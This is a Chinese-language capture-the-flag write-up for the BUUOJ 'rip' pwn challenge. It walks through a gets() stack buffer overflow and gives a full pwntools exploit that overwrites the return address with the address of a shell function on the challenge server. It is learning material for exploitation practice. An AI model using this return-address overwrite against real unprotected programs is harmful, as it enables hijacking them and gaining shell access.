1. 程式人生 > 實用技巧 >rip-buuoj

rip-buuoj

前言

今天開始學pwn,以練促學,學以致用,加油加油

0x01

拿到檔案,首先檢查一下是多少位的,如圖

可以看到是64位的檔案

檢查是否有保護,如圖

看到沒有任何保護

0x02

ida分析一下函式的邏輯

進入到反彙編如下,程式碼邏輯就是讓我們輸入,然後結束,我們主要看一下gets,因為gets有棧溢位漏洞

我們發現輸入的地址空間大小為15,然後就執行函式返回地址,那麼我們直接在15後將系統命令函式地址填入即可,或者直接寫函式的名稱,然後取函式地址也可以

0x03

exp

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
elf = ELF("pwn1")
system_addr = elf.symbols["fun"]
content = 0
def main():
    if content == 1:
        p = process("pwn1")
    else:
        p = remote("node3.buuoj.cn",29922)
    
    payload = b'a'*15 + p64(system_addr)

    p.sendline(payload)

    p.interactive()

main()

執行結果

拿到flag